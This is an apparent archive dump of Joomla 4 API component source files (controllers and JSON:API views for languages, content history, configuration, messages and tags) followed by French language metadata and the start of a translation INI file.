throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
$data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');
// TODO: Not the cleanest thing ever but it works...
Form::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/forms');
// Validate the posted data.
$form = $model->getForm($data, false);
if (!$form)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_FORM_CREATE'));
}
// Test whether the data is valid.
$validData = $model->validate($form, $data);
// Check for validation errors.
if ($validData === false)
{
$errors = $model->getErrors();
$messages = [];
for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
{
if ($errors[$i] instanceof \Exception)
{
$messages[] = "{$errors[$i]->getMessage()}";
}
else
{
$messages[] = "{$errors[$i]}";
}
}
throw new InvalidParameterException(implode("\n", $messages));
}
if (!isset($validData['tags']))
{
$validData['tags'] = [];
}
if (!$model->save($validData))
{
throw new Exception\Save(Text::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
}
return $validData['key'];
}
/**
* Removes an item.
*
* @param integer $id The primary key to delete item.
*
* @return void
*
* @since 4.0.0
*/
public function delete($id = null)
{
$id = $this->input->get('id', '', 'string');
$this->input->set('model', $this->contentType);
$this->modelState->set('filter.language', $this->getLanguageFromInput());
$this->modelState->set('filter.client', $this->getClientFromInput());
parent::delete($id);
}
/**
* Get client code from input
*
* @return string
*
* @since 4.0.0
*/
private function getClientFromInput()
{
return $this->input->exists('app') ? $this->input->get('app') : $this->input->post->get('app');
}
/**
* Get language code from input
*
* @return string
*
* @since 4.0.0
*/
private function getLanguageFromInput()
{
return $this->input->exists('lang_code') ?
$this->input->get('lang_code') : $this->input->post->get('lang_code');
}
}
components/com_languages/src/View/Overrides/JsonapiView.php 0000604 00000004042 15074673664 0020165 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_languages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Languages\Api\View\Overrides;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The overrides view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = ['value'];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = ['value'];
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
/** @var \Joomla\Component\Languages\Administrator\Model\OverrideModel $model */
$model = $this->getModel();
$id = $model->getState($model->getName() . '.id');
$item = $this->prepareItem($model->getItem($id));
return parent::displayItem($item);
}
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
/** @var \Joomla\Component\Languages\Administrator\Model\OverridesModel $model */
$model = $this->getModel();
$items = [];
foreach ($model->getOverrides() as $key => $override)
{
$item = (object) [
'key' => $key,
'override' => $override,
];
$items[] = $this->prepareItem($item);
}
return parent::displayList($items);
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = $item->key;
$item->value = $item->override;
unset($item->key);
unset($item->override);
return parent::prepareItem($item);
}
}
components/com_languages/src/View/Languages/JsonapiView.php 0000604 00000002631 15074673664 0020133 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_languages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Languages\Api\View\Languages;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The languages view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'asset_id',
'lang_code',
'title',
'title_native',
'sef',
'image',
'description',
'metakey',
'metadesc',
'sitename',
'published',
'access',
'ordering',
'access_level',
'home',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'asset_id',
'lang_code',
'title',
'title_native',
'sef',
'image',
'description',
'metakey',
'metadesc',
'sitename',
'published',
'access',
'ordering',
'access_level',
'home',
];
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = $item->lang_id;
unset($item->lang->id);
return parent::prepareItem($item);
}
}
components/com_languages/src/View/Strings/JsonapiView.php 0000604 00000004074 15074673664 0017661 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_languages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Languages\Api\View\Strings;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Tobscure\JsonApi\Collection;
/**
* The strings view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'string',
'file',
];
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
/** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */
$model = $this->getModel();
$result = $model->search();
if ($result instanceof \Exception)
{
throw $result;
}
$items = [];
foreach ($result['results'] as $item)
{
$items[] = $this->prepareItem($item);
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new GenericDataException(implode("\n", $errors), 500);
}
if ($this->type === null)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_CONTENT_TYPE_MISSING'), 400);
}
$collection = (new Collection($items, new JoomlaSerializer($this->type)))
->fields([$this->type => $this->fieldsToRenderList]);
// Set the data into the document and render it
$this->document->setData($collection);
return $this->document->render();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = $item->constant;
unset($item->constant);
return parent::prepareItem($item);
}
}
components/com_contenthistory/src/Controller/HistoryController.php 0000604 00000005437 15074673665 0022043 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_contenthistory
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Contenthistory\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception;
use Joomla\Component\Contenthistory\Administrator\Model\HistoryModel;
/**
* The history controller
*
* @since 4.0.0
*/
class HistoryController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'history';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'history';
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('type_alias', $this->getTypeAliasFromInput());
$this->modelState->set('type_id', $this->getTypeIdFromInput());
$this->modelState->set('item_id', $this->getTypeAliasFromInput() . '.' . $this->getItemIdFromInput());
$this->modelState->set('list.ordering', 'h.save_date');
$this->modelState->set('list.direction', 'DESC');
return parent::displayList();
}
/**
* Method to edit an existing record.
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function keep()
{
/** @var HistoryModel $model */
$model = $this->getModel($this->contentType);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
$recordId = $this->input->getInt('id');
if (!$recordId)
{
throw new Exception\ResourceNotFound(Text::_('JLIB_APPLICATION_ERROR_RECORD'), 404);
}
$cid = [$recordId];
if (!$model->keep($cid))
{
throw new Exception\Save(Text::plural('COM_CONTENTHISTORY_N_ITEMS_KEEP_TOGGLE', count($cid)));
}
return $this;
}
/**
* Get item id from input
*
* @return string
*
* @since 4.0.0
*/
private function getItemIdFromInput()
{
return $this->input->exists('id') ?
$this->input->get('id') : $this->input->post->get('id');
}
/**
* Get type id from input
*
* @return string
*
* @since 4.0.0
*/
private function getTypeIdFromInput()
{
return $this->input->exists('type_id') ?
$this->input->get('type_id') : $this->input->post->get('type_id');
}
/**
* Get type alias from input
*
* @return string
*
* @since 4.0.0
*/
private function getTypeAliasFromInput()
{
return $this->input->exists('type_alias') ?
$this->input->get('type_alias') : $this->input->post->get('type_alias');
}
}
components/com_contenthistory/src/View/History/JsonapiView.php 0000604 00000002157 15074673665 0021020 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_contenthistory
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Contenthistory\Api\View\History;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The history view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'ucm_item_id',
'ucm_type_id',
'version_note',
'save_date',
'editor_user_id',
'character_count',
'sha1_hash',
'version_data',
'keep_forever',
'editor',
];
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = $item->version_id;
unset($item->version_id);
$item->version_data = (array) json_decode($item->version_data, true);
return parent::prepareItem($item);
}
}
components/com_config/src/Controller/ApplicationController.php 0000604 00000006662 15074673665 0021017 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_config
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Config\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Config\Administrator\Model\ApplicationModel;
use Joomla\Component\Config\Api\View\Application\JsonapiView;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The application controller
*
* @since 4.0.0
*/
class ApplicationController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'application';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'application';
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$viewType = $this->app->getDocument()->getType();
$viewLayout = $this->input->get('layout', 'default', 'string');
try
{
/** @var JsonapiView $view */
$view = $this->getView(
$this->default_view,
$viewType,
'',
['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
);
}
catch (\Exception $e)
{
throw new \RuntimeException($e->getMessage());
}
/** @var ApplicationModel $model */
$model = $this->getModel($this->contentType);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
}
// Push the model into the view (as default)
$view->setModel($model, true);
$view->document = $this->app->getDocument();
$view->displayList();
return $this;
}
/**
* Method to edit an existing record.
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function edit()
{
/** @var ApplicationModel $model */
$model = $this->getModel($this->contentType);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
}
// Access check.
if (!$this->allowEdit())
{
throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403);
}
$data = json_decode($this->input->json->getRaw(), true);
// Complete data array if needed
$oldData = $model->getData();
$data = array_replace($oldData, $data);
// TODO: Not the cleanest thing ever but it works...
Form::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/forms');
// Must load after serving service-requests
$form = $model->getForm();
// Validate the posted data.
$validData = $model->validate($form, $data);
// Check for validation errors.
if ($validData === false)
{
$errors = $model->getErrors();
$messages = [];
for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
{
if ($errors[$i] instanceof \Exception)
{
$messages[] = "{$errors[$i]->getMessage()}";
}
else
{
$messages[] = "{$errors[$i]}";
}
}
throw new InvalidParameterException(implode("\n", $messages));
}
if (!$model->save($validData))
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500);
}
return $this;
}
}
components/com_config/src/Controller/ComponentController.php 0000604 00000007474 15074673665 0020520 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_config
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Config\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Config\Administrator\Model\ComponentModel;
use Joomla\Component\Config\Api\View\Component\JsonapiView;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The component controller
*
* @since 4.0.0
*/
class ComponentController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'component';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'component';
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$viewType = $this->app->getDocument()->getType();
$viewLayout = $this->input->get('layout', 'default', 'string');
try
{
/** @var JsonapiView $view */
$view = $this->getView(
$this->default_view,
$viewType,
'',
['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
);
}
catch (\Exception $e)
{
throw new \RuntimeException($e->getMessage());
}
/** @var ComponentModel $model */
$model = $this->getModel($this->contentType);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
}
// Push the model into the view (as default)
$view->setModel($model, true);
$view->set('component_name', $this->input->get('component_name'));
$view->document = $this->app->getDocument();
$view->displayList();
return $this;
}
/**
* Method to edit an existing record.
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function edit()
{
/** @var ComponentModel $model */
$model = $this->getModel($this->contentType);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'), 500);
}
// Access check.
if (!$this->allowEdit())
{
throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403);
}
$option = $this->input->get('component_name');
// TODO: Not the cleanest thing ever but it works...
Form::addFormPath(JPATH_ADMINISTRATOR . '/components/' . $option);
// Must load after serving service-requests
$form = $model->getForm();
$data = json_decode($this->input->json->getRaw(), true);
$component = ComponentHelper::getComponent($option);
$oldData = $component->getParams()->toArray();
$data = array_replace($oldData, $data);
// Validate the posted data.
$validData = $model->validate($form, $data);
if ($validData === false)
{
$errors = $model->getErrors();
$messages = [];
for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
{
if ($errors[$i] instanceof \Exception)
{
$messages[] = "{$errors[$i]->getMessage()}";
}
else
{
$messages[] = "{$errors[$i]}";
}
}
throw new InvalidParameterException(implode("\n", $messages));
}
// Attempt to save the configuration.
$data = [
'params' => $validData,
'id' => ExtensionHelper::getExtensionRecord($option, 'component')->extension_id,
'option' => $option
];
if (!$model->save($data))
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500);
}
return $this;
}
}
components/com_config/src/View/Application/JsonapiView.php 0000604 00000006716 15074673665 0020000 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_config
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Config\Api\View\Application;
\defined('_JEXEC') or die;
use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Config\Administrator\Model\ApplicationModel;
use Tobscure\JsonApi\Collection;
/**
* The application view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
/** @var ApplicationModel $model */
$model = $this->getModel();
$items = [];
foreach ($model->getData() as $key => $value)
{
$item = (object) [$key => $value];
$items[] = $this->prepareItem($item);
}
// Set up links for pagination
$currentUrl = Uri::getInstance();
$currentPageDefaultInformation = ['offset' => 0, 'limit' => 20];
$currentPageQuery = $currentUrl->getVar('page', $currentPageDefaultInformation);
$offset = $currentPageQuery['offset'];
$limit = $currentPageQuery['limit'];
$totalItemsCount = count($items);
$totalPagesAvailable = ceil($totalItemsCount / $limit);
$items = array_splice($items, $offset, $limit);
$this->document->addMeta('total-pages', $totalPagesAvailable)
->addLink('self', (string) $currentUrl);
// Check for first and previous pages
if ($offset > 0)
{
$firstPage = clone $currentUrl;
$firstPageQuery = $currentPageQuery;
$firstPageQuery['offset'] = 0;
$firstPage->setVar('page', $firstPageQuery);
$previousPage = clone $currentUrl;
$previousPageQuery = $currentPageQuery;
$previousOffset = $currentPageQuery['offset'] - $limit;
$previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0;
$previousPage->setVar('page', $previousPageQuery);
$this->document->addLink('first', $this->queryEncode((string) $firstPage))
->addLink('previous', $this->queryEncode((string) $previousPage));
}
// Check for next and last pages
if ($offset + $limit < $totalItemsCount)
{
$nextPage = clone $currentUrl;
$nextPageQuery = $currentPageQuery;
$nextOffset = $currentPageQuery['offset'] + $limit;
$nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset;
$nextPage->setVar('page', $nextPageQuery);
$lastPage = clone $currentUrl;
$lastPageQuery = $currentPageQuery;
$lastPageQuery['offset'] = ($totalPagesAvailable - 1) * $limit;
$lastPage->setVar('page', $lastPageQuery);
$this->document->addLink('next', $this->queryEncode((string) $nextPage))
->addLink('last', $this->queryEncode((string) $lastPage));
}
$collection = (new Collection($items, new JoomlaSerializer($this->type)));
// Set the data into the document and render it
$this->document->setData($collection);
return $this->document->render();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id;
return $item;
}
}
components/com_config/src/View/Component/JsonapiView.php 0000604 00000007545 15074673665 0017500 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_config
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Config\Api\View\Component;
\defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Extension\ExtensionHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
/**
* The component view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
try
{
$component = ComponentHelper::getComponent($this->get('component_name'));
if ($component === null || !$component->enabled)
{
// TODO: exception component unavailable
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_INVALID_COMPONENT_NAME'), 400);
}
$data = $component->getParams()->toObject();
}
catch (\Exception $e)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SERVER'), 500, $e);
}
$items = [];
foreach ($data as $key => $value)
{
$item = (object) [$key => $value];
$items[] = $this->prepareItem($item);
}
// Set up links for pagination
$currentUrl = Uri::getInstance();
$currentPageDefaultInformation = ['offset' => 0, 'limit' => 20];
$currentPageQuery = $currentUrl->getVar('page', $currentPageDefaultInformation);
$offset = $currentPageQuery['offset'];
$limit = $currentPageQuery['limit'];
$totalItemsCount = count($items);
$totalPagesAvailable = ceil($totalItemsCount / $limit);
$items = array_splice($items, $offset, $limit);
$this->document->addMeta('total-pages', $totalPagesAvailable)
->addLink('self', (string) $currentUrl);
// Check for first and previous pages
if ($offset > 0)
{
$firstPage = clone $currentUrl;
$firstPageQuery = $currentPageQuery;
$firstPageQuery['offset'] = 0;
$firstPage->setVar('page', $firstPageQuery);
$previousPage = clone $currentUrl;
$previousPageQuery = $currentPageQuery;
$previousOffset = $currentPageQuery['offset'] - $limit;
$previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0;
$previousPage->setVar('page', $previousPageQuery);
$this->document->addLink('first', $this->queryEncode((string) $firstPage))
->addLink('previous', $this->queryEncode((string) $previousPage));
}
// Check for next and last pages
if ($offset + $limit < $totalItemsCount)
{
$nextPage = clone $currentUrl;
$nextPageQuery = $currentPageQuery;
$nextOffset = $currentPageQuery['offset'] + $limit;
$nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset;
$nextPage->setVar('page', $nextPageQuery);
$lastPage = clone $currentUrl;
$lastPageQuery = $currentPageQuery;
$lastPageQuery['offset'] = ($totalPagesAvailable - 1) * $limit;
$lastPage->setVar('page', $lastPageQuery);
$this->document->addLink('next', $this->queryEncode((string) $nextPage))
->addLink('last', $this->queryEncode((string) $lastPage));
}
$collection = (new Collection($items, new JoomlaSerializer($this->type)));
// Set the data into the document and render it
$this->document->setData($collection);
return $this->document->render();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = ExtensionHelper::getExtensionRecord($this->get('component_name'), 'component')->extension_id;
return $item;
}
}
components/com_messages/src/View/Messages/JsonapiView.php 0000604 00000002346 15074673665 0017641 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_messages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Messages\Api\View\Messages;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The messages view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'user_id_from',
'user_id_to',
'date_time',
'priority',
'subject',
'message',
'state',
'user_from',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'user_id_from',
'user_id_to',
'date_time',
'priority',
'subject',
'message',
'state',
'user_from',
];
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = $item->message_id;
unset($item->message_id);
return parent::prepareItem($item);
}
}
components/com_messages/src/Controller/MessagesController.php 0000604 00000001317 15074673665 0020655 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_messages
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Messages\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The messages controller
*
* @since 4.0.0
*/
class MessagesController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'messages';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'messages';
}
components/com_tags/src/Controller/TagsController.php 0000604 00000001267 15074673665 0017137 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_tags
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Tags\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The tags controller
*
* @since 4.0.0
*/
class TagsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'tags';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'tags';
}
components/com_tags/src/View/Tags/JsonapiView.php 0000604 00000002652 15074673665 0016117 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_tags
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Tags\Api\View\Tags;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The tags view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'parent_id',
'level',
'lft',
'rgt',
'alias',
'typeAlias',
'path',
'title',
'note',
'description',
'published',
'checked_out',
'checked_out_time',
'access',
'params',
'metadesc',
'metakey',
'metadata',
'created_user_id',
'created_time',
'created_by_alias',
'modified_user_id',
'modified_time',
'images',
'urls',
'hits',
'language',
'version',
'publish_up',
'publish_down',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'title',
'alias',
'note',
'published',
'access',
'description',
'checked_out',
'checked_out_time',
'created_user_id',
'path',
'parent_id',
'level',
'lft',
'rgt',
'language',
'language_title',
'language_image',
'editor',
'author_name',
'access_title',
];
}
language/fr-FR/install.xml 0000644 00000001221 15074673665 0011452 0 ustar 00 <?xml version="1.0" encoding="utf-8"?>
<extension client="api" type="language" method="upgrade">
<name>French (fr-FR)</name>
<tag>fr-FR</tag>
<version>4.1.2</version>
<creationDate>Mars 2022</creationDate>
<author>Joomla! Project - French translation team</author>
<authorEmail>traduction@joomla.fr</authorEmail>
<authorUrl>www.joomla.fr</authorUrl>
<copyright>(C) 2020 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<description>fr-FR api language</description>
<files>
<folder>/</folder>
<filename file="meta">install.xml</filename>
</files>
<params/>
</extension>
language/fr-FR/langmetadata.xml 0000644 00000001514 15074673665 0012433 0 ustar 00 <?xml version="1.0" encoding="utf-8"?>
<metafile client="api">
<name>French (fr-FR)</name>
<version>4.1.2</version>
<creationDate>Mars 2022</creationDate>
<author>Joomla! Project - French translation team</author>
<authorEmail>traduction@joomla.fr</authorEmail>
<authorUrl>www.joomla.fr</authorUrl>
<copyright>(C) 2020 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<description><![CDATA[fr-FR api language]]></description>
<metadata>
<name>French (fr-FR)</name>
<nativeName>Français (France)</nativeName>
<tag>fr-FR</tag>
<rtl>0</rtl>
<locale>fr_FR.utf8, fr_FR.UTF-8, fr_FR, fr, français, french-fr, france, francophone</locale>
<firstDay>1</firstDay>
<weekEnd>0,6</weekEnd>
<calendar>gregorian</calendar>
</metadata>
<params/>
</metafile>
language/fr-FR/joomla.ini 0000644 00000152264 15074673665 0011262 0 ustar 00 ; Joomla! Project
; (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8
; Common boolean values
; Note: YES, NO, TRUE, FALSE are reserved words in INI format.
; Keep this string on top
JERROR_PARSING_LANGUAGE_FILE=" : erreur(s) ligne(s) %s"
J1="1"
J2="2"
J3="3"
J4="4"
J5="5"
J6="6"
J7="7"
J8="8"
J9="9"
J10="10"
J15="15"
J20="20"
J25="25"
J30="30"
J50="50"
J75="75"
J100="100"
J150="150"
J200="200"
J250="250"
J300="300"
J500="500"
JH1="H1"
JH2="H2"
JH3="H3"
JH4="H4"
JH5="H5"
JH6="h6"
ERROR="Erreur"
INFO="Info"
MESSAGE="Message"
NOTICE="Annonce"
WARNING="Alerte"
JACTIONS="Actions pour : %s"
JADMINISTRATION="Administration"
JADMINISTRATOR="Administration"
JALIAS="Alias"
JALL="Tous"
JALL_LANGUAGE="Tous"
JAPI="API"
JAPPLY="Enregistrer"
JARCHIVED="Archivé"
JASSOCIATIONS_ASC="Associations - Ascendant"
JASSOCIATIONS_DESC="Associations - Descendant"
JAUTHOR="Auteur"
JAUTHOR_ASC="Auteur - Ascendant"
JAUTHOR_DESC="Auteur - Descendant"
JCANCEL="Annuler"
JCATEGORIES="Catégories"
JCATEGORY="Paramètres"
JCATEGORY_ASC="Catégorie - Ascendant"
JCATEGORY_DESC="Catégorie - Descendant"
JCATEGORY_SPRINTF="Catégorie : %s"
JCLEAR="Effacer"
JCLIENT="Emplacement"
JCLOSE="Fermer"
JCONFIG_PERMISSIONS_DESC="Permissions par défaut pour ce composant."
JCONFIG_PERMISSIONS_LABEL="Droits"
JCURRENT="Courant"
JDATE="Date"
JDATE_ASC="Date - Ascendant"
